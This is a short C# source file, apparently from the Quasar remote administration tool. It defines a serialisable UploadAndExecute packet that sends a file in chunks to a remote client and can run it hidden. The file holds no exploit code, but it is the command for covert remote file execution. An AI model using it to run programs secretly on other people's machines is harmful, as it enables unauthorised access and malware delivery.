Quasar/Client/Core/Packets/ServerPackets/UploadAndExecute.cs

45 lines
1.1 KiB
C#

using ProtoBuf;
namespace xClient.Core.Packets.ServerPackets
{
[ProtoContract]
public class UploadAndExecute : IPacket
{
[ProtoMember(1)]
public int ID { get; set; }
[ProtoMember(2)]
public string FileName { get; set; }
[ProtoMember(3)]
public byte[] Block { get; set; }
[ProtoMember(4)]
public int MaxBlocks { get; set; }
[ProtoMember(5)]
public int CurrentBlock { get; set; }
[ProtoMember(6)]
public bool RunHidden { get; set; }
public UploadAndExecute()
{
}
public UploadAndExecute(int id, string filename, byte[] block, int maxblocks, int currentblock, bool runhidden)
{
this.ID = id;
this.FileName = filename;
this.Block = block;
this.MaxBlocks = maxblocks;
this.CurrentBlock = currentblock;
this.RunHidden = runhidden;
}
public void Execute(Client client)
{
client.Send<UploadAndExecute>(this);
}
}
}